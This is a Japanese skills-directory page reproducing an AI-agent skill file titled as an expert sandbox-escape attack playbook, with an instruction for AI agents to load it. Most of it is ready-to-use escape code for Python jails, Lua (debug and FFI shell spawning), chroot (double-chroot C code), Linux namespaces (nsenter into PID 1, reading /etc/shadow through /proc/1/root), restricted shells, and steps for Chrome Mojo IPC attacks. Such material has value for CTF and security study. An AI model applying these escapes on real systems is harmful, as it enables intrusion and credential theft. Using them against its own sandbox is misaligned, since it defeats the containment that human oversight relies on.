Agent Skills by ALSEL
Anthropic Claudeソフトウェア開発⭐ リポ 0品質スコア 50/100

sandbox-escape-techniques

サンドボックス脱出のプレイブック。Python・Lua サンドボックス、seccomp フィルタ、chroot jail、コンテナ/Docker、ブラウザサンドボックス、名前空間分離などの制限を突破し、無制限のコード実行やファイルアクセスを達成したい場合に使用する。

description の原文を見る

>- Sandbox escape playbook. Use when breaking out of Python sandbox, Lua sandbox, seccomp filter, chroot jail, container/Docker, browser sandbox, or namespace isolation to achieve unrestricted code execution or file access.

SKILL.md 本文

SKILL: サンドボックスエスケープ — エキスパート攻撃プレイブック

AI LOAD INSTRUCTION: Python、Lua、seccomp、chroot、Docker/コンテナ、ブラウザサンドボックスの各コンテキストにおけるエキスパート級のサンドボックスエスケープ技術。CTF pyjail パターン、seccomp アーキテクチャの混乱、chroot fd リーク、ネームスペースエスケープ、および Mojo IPC 悪用をカバー。ctf-wiki サンドボックスセクションと実際のコンテナエスケープから抽出されたもの。ベースモデルはサンドボックスタイプ間の区別を見落とし、間違ったエスケープ技術を適用することが多い。

0. 関連ルーティング

  • browser-exploitation-v8 — ブラウザサンドボックスエスケープ前のレンダラー RCE 用 V8 悪用
  • container-escape-techniques — Docker/コンテナ固有のエスケープ技術
  • kernel-exploitation — コンテナ/ネームスペースエスケープ用カーネル悪用
  • linux-privilege-escalation — エスケープ後の権限昇格

高度なリファレンス

  • PYTHON_SANDBOX_ESCAPE.md — 完全な pyjail 方法論: __builtins__ 復元、キーワードバイパス、AST バイパス、pickle エスケープ
  • SECCOMP_BYPASS.md — アーキテクチャ混乱、io_uring バイパス、ptrace バイパス、許可されたシステムコール連鎖

1. サンドボックスタイプの識別

サンドボックスタイプインジケータ典型的なコンテキスト
Python サンドボックス (pyjail)制限された builtins、フィルタされたキーワード、exec/eval 利用可能CTF、オンライン判定、Jupyter
Lua サンドボックスosio モジュール不可; メタテーブル制限ゲームスクリプト、設定
seccompシステムコールフィルタリング、prctl(PR_SET_SECCOMP)CTF pwn、コンテナ強化
chrootルートファイルシステム変更、制限された /proc アクセスレガシー分離
Docker/コンテナネームスペース、cgroups、削減されたケーパビリティクラウド、マイクロサービス
ブラウザ (レンダラ)OS レベルのサンドボックス (Linux 上の seccomp-bpf + ネームスペース)Chrome、Firefox
ネームスペース分離PID/マウント/ネットワーク/ユーザーネームスペースコンテナランタイム

2. PYTHON サンドボックスエスケープ (概要)

完全な方法論については PYTHON_SANDBOX_ESCAPE.md を参照してください。

クイックリファレンス

技術ワンライナー
サブクラスウォーク().__class__.__bases__[0].__subclasses__()os._wrap_close を検出 → __init__.__globals__['system']
インポート復元__builtins__.__import__('os').system('sh')
getattr バイパスgetattr(getattr(__builtins__, '__imp'+'ort__'), '__call__')('os')
chr 構築eval(chr(95)+chr(95)+'import'+chr(95)+chr(95))
Pickle エスケープpickle.loads(b"cos\nsystem\n(S'sh'\ntR.")
コードオブジェクトtypes.CodeType(...) を構築してから、カスタムバイトコードで exec()

3. LUA サンドボックスエスケープ

制限環境バイパス

-- debug ライブラリが利用可能な場合:
debug.getinfo(1)                    -- 情報リーク
debug.getregistry()                 -- グローバルレジストリへのアクセス
debug.getupvalue(func, 1)           -- クローズされた変数の読み取り
debug.setupvalue(func, 1, new_val)  -- アップバリューの上書き

-- debug 経由で os モジュール復元:
local getupvalue = debug.getupvalue
-- 既知の関数のアップバリューをウォークして os/io への参照を検出

-- loadstring が利用可能な場合:
loadstring("os.execute('sh')")()

-- string.dump が利用可能な場合:
-- 関数バイトコードをダンプし、パッチを当て、修正した関数をロード

-- メタテーブルエスケープ:
-- rawset/rawget がブロックされていても __index/__newindex が存在する場合:
-- メタテーブルチェーンを偽造して制限されたグローバルにアクセス

Lua FFI エスケープ (LuaJIT)

-- LuaJIT FFI は C 関数アクセスを提供
local ffi = require("ffi")
ffi.cdef[[ int system(const char *command); ]]
ffi.C.system("sh")

-- require がブロックされていても ffi がプリロードされている場合:
-- package.loaded または debug.getregistry 経由で ffi を検出

4. CHROOT エスケープ

技術条件方法
実ルートへの open fdファイルディスクリプタが chroot 外からリークfchdir(leaked_fd) その後 chroot(".")
ダブル chrootプロセスは chroot 内でルートmkdir("x"); chroot("x"); chdir("../../../..")
TIOCSTI ioctlターミナルアクセス (fd 0 は TTY)親シェルにキーストロークを注入: ioctl(0, TIOCSTI, &c)
/proc アクセス/proc が chroot 内にマウント/proc/1/root/ → 実ルートファイルシステムへのアクセス
ptraceCAP_SYS_PTRACEchroot 外のプロセスにアタッチ
マウントネームスペース特権実ルートを chroot 内にマウント

ダブル Chroot エスケープ

// chroot 内でルートである必要があります
mkdir("/tmp/escape", 0755);
chroot("/tmp/escape");          // 古い chroot 内に新しい chroot
// 古い CWD は新しい chroot の外になります
// 実ルートまでナビゲート:
for (int i = 0; i < 100; i++) chdir("..");
chroot(".");                     // 実ルートが現在の位置
execl("/bin/sh", "sh", NULL);

5. ブラウザサンドボックスエスケープ (概要)

Chrome サンドボックスアーキテクチャ (Linux)

レンダラープロセス:
  ├── seccomp-bpf (システムコールフィルタ)
  ├── PID ネームスペース (分離された PID)
  ├── ネットワークネームスペース (直接ネットワークなし)
  ├── マウントネームスペース (最小限のファイルシステム)
  └── 削減されたケーパビリティ (CAP_SYS_ADMIN なし等)

エスケープベクトル

ベクトル説明
Mojo IPC バグブラウザプロセスの Mojo インターフェースハンドラの UAF または型混乱
共有メモリ破損レンダラーとブラウザ間の共有メモリセグメントを破損
GPU プロセスバグGPU プロセス (サンドボックス化が少ない) を踏み台として悪用
カーネルエクスプロイトカーネル脆弱性経由で直接エスケープ (全サンドボックスをバイパス)
シグナルハンドリングサンドボックス境界を越えたシグナル配信のレース条件

Mojo インターフェース攻撃パターン

1. レンダラー RCE を達成 (V8/Blink バグ経由)
2. レンダラーから利用可能な Mojo インターフェースを列挙
3. 脆弱なインターフェースを検出 (メッセージハンドリング時の UAF、パラメータ検証の整数オーバーフロー)
4. 悪意のある Mojo メッセージを作成 → ブラウザプロセスでバグをトリガー
5. ブラウザプロセスはサンドボックス化されていない → フルシステムアクセス

6. ネームスペースエスケープ

ユーザーネームスペース昇格

# ユーザーネームスペースの作成が許可されている場合 (非特権):
unshare -Urm  # 新しいユーザー + マウントネームスペースをルートとして作成
# ネームスペース内: マウント、変更などが可能
# エスケープにはカーネルバグまたは設定ミスが必要

PID ネームスペースエスケープ

# /proc がホスト由来の場合 (コンテナ設定ミス):
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
# init プロセスのネームスペースに入る → ホストアクセス

マウントネームスペーストリック

# /proc/1/root 経由でホストファイルシステムが見える場合:
ls -la /proc/1/root/  # ホストのルートファイルシステム
cat /proc/1/root/etc/shadow  # ホストファイルを読み取り

# マウントが可能な場合:
mount -t proc proc /proc
# ホストの /proc エントリにアクセス

7. RBASH / 制限されたシェルエスケープ

技術方法
vi/vim:!/bin/bash または :set shell=/bin/bash その後 :shell
less/more!/bin/bash
awkawk 'BEGIN {system("/bin/bash")}'
findfind / -exec /bin/bash \;
python/perl/rubypython -c 'import pty;pty.spawn("/bin/bash")'
sshssh user@host -t /bin/bash
環境変数export PATH=/usr/bin:/bin; /bin/bash
cp許可されたディレクトリに /bin/bash をコピー
gitgit help config → ページャーで !/bin/bash
エンコーディング`echo /bin/bash

8. デシジョンツリー

どのタイプのサンドボックス?
├── Python サンドボックス (pyjail)?
│   └── PYTHON_SANDBOX_ESCAPE.md を参照
│       ├── __builtins__ が利用可能? → 直接インポート
│       ├── サブクラスウォーク: ().__class__.__bases__[0].__subclasses__()
│       ├── キーワードがフィルタされている? → chr()/getattr() 構築
│       └── eval/exec が利用可能? → コードオブジェクト操作
│
├── Lua サンドボックス?
│   ├── debug ライブラリが利用可能? → getregistry/getupvalue
│   ├── FFI が利用可能 (LuaJIT)? → ffi.C.system()
│   ├── loadstring が利用可能? → 任意のコードをロード
│   └── すべてが制限されている? → メタテーブルチェーン悪用
│
├── seccomp フィルタ?
│   └── SECCOMP_BYPASS.md を参照
│       ├── アーキテクチャ混乱 (64 ビットからの 32 ビットシステムコール)
│       ├── 許可されたシステムコール → ORW チェーン
│       ├── io_uring が許可されている? → io_uring 経由でバイパス
│       └── ptrace が許可されている? → 子プロセスをデバッグ
│
├── chroot ジェイル?
│   ├── chroot 内でルート? → ダブル chroot エスケープ
│   ├── fd がリークされた? → fchdir で実ルートへ
│   ├── /proc がマウントされている? → /proc/1/root アクセス
│   └── ターミナルアクセス? → TIOCSTI インジェクション
│
├── コンテナ / Docker?
│   ├── 特権コンテナ? → ホストをマウント、カーネルモジュールをロード
│   ├── docker.sock がマウントされている? → docker API → エスケープ
│   ├── ../container-escape-techniques/SKILL.md を参照
│   └── カーネルエクスプロイト → 完全なエスケープ
│
├── ブラウザサンドボックス?
│   ├── レンダラー RCE を保有? → ブラウザエスケープ用 Mojo IPC をターゲット
│   ├── GPU プロセスにアクセス可能? → サンドボックス化が少ない踏み台
│   └── カーネルエクスプロイト → サンドボックスを完全にバイパス
│
└── 制限されたシェル (rbash)?
    └── 任意のインタラクティブプログラムを検出 (vi、less、python、awk、git)

ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ

詳細情報

作者
yaklang
リポジトリ
yaklang/hack-skills
ライセンス
MIT
最終更新
不明

Source: https://github.com/yaklang/hack-skills / ライセンス: MIT

関連スキル

汎用ソフトウェア開発⭐ リポ 39,967

doubt-driven-development

重要な判断はすべて、本番環境への展開前に新しい視点から対抗的レビューを実施します。速度より正確性が重要な場合、不慣れなコードを扱う場合、本番環境・セキュリティに関わるロジック・取り消し不可の操作など影響度が高い場合、または後でバグを修正するよりも今検証する方が効率的な場合に活用してください。

by addyosmani
汎用ソフトウェア開発⭐ リポ 1,175

apprun-skills

TypeScriptを使用したAppRunアプリケーションのMVU設計に関する総合的なガイダンスが得られます。コンポーネントパターン、イベントハンドリング、状態管理(非同期ジェネレータを含む)、パラメータと保護機能を備えたルーティング・ナビゲーション、vistestを使用したテストに対応しています。AppRunコンポーネントの設計・レビュー、ルートの配線、状態フローの管理、AppRunテストの作成時に活用してください。

by yysun
OpenAIソフトウェア開発⭐ リポ 797

desloppify

コードベースのヘルスチェックと技術負債の追跡ツールです。コード品質、技術負債、デッドコード、大規模ファイル、ゴッドクラス、重複関数、コードスメル、命名規則の問題、インポートサイクル、結合度の問題についてユーザーが質問した場合に使用してください。また、ヘルススコアの確認、次の改善項目の提案、クリーンアップ計画の作成をリクエストされた際にも対応します。29言語に対応しています。

by Git-on-my-level
汎用ソフトウェア開発⭐ リポ 39,967

debugging-and-error-recovery

テストが失敗したり、ビルドが壊れたり、動作が期待と異なったり、予期しないエラーが発生したりした場合に、体系的な根本原因デバッグをガイドします。推測ではなく、根本原因を見つけて修正するための体系的なアプローチが必要な場合に使用してください。

by addyosmani
汎用ソフトウェア開発⭐ リポ 39,967

test-driven-development

テスト駆動開発により実装を進めます。ロジックの実装、バグの修正、動作の変更など、あらゆる場面で活用できます。コードが正常に動作することを証明する必要がある場合、バグ報告を受けた場合、既存機能を修正する予定がある場合に使用してください。

by addyosmani
汎用ソフトウェア開発⭐ リポ 39,967

incremental-implementation

変更を段階的に実施します。複数のファイルに影響する機能や変更を実装する場合に使用してください。大量のコードを一度に書こうとしている場合や、タスクが一度では完結できないほど大きい場合に活用します。

by addyosmani
本サイトは GitHub 上で公開されているオープンソースの SKILL.md ファイルをクロール・インデックス化したものです。 各スキルの著作権は原作者に帰属します。掲載に問題がある場合は info@alsel.co.jp または /takedown フォームよりご連絡ください。
原作者: yaklang · yaklang/hack-skills · ライセンス: MIT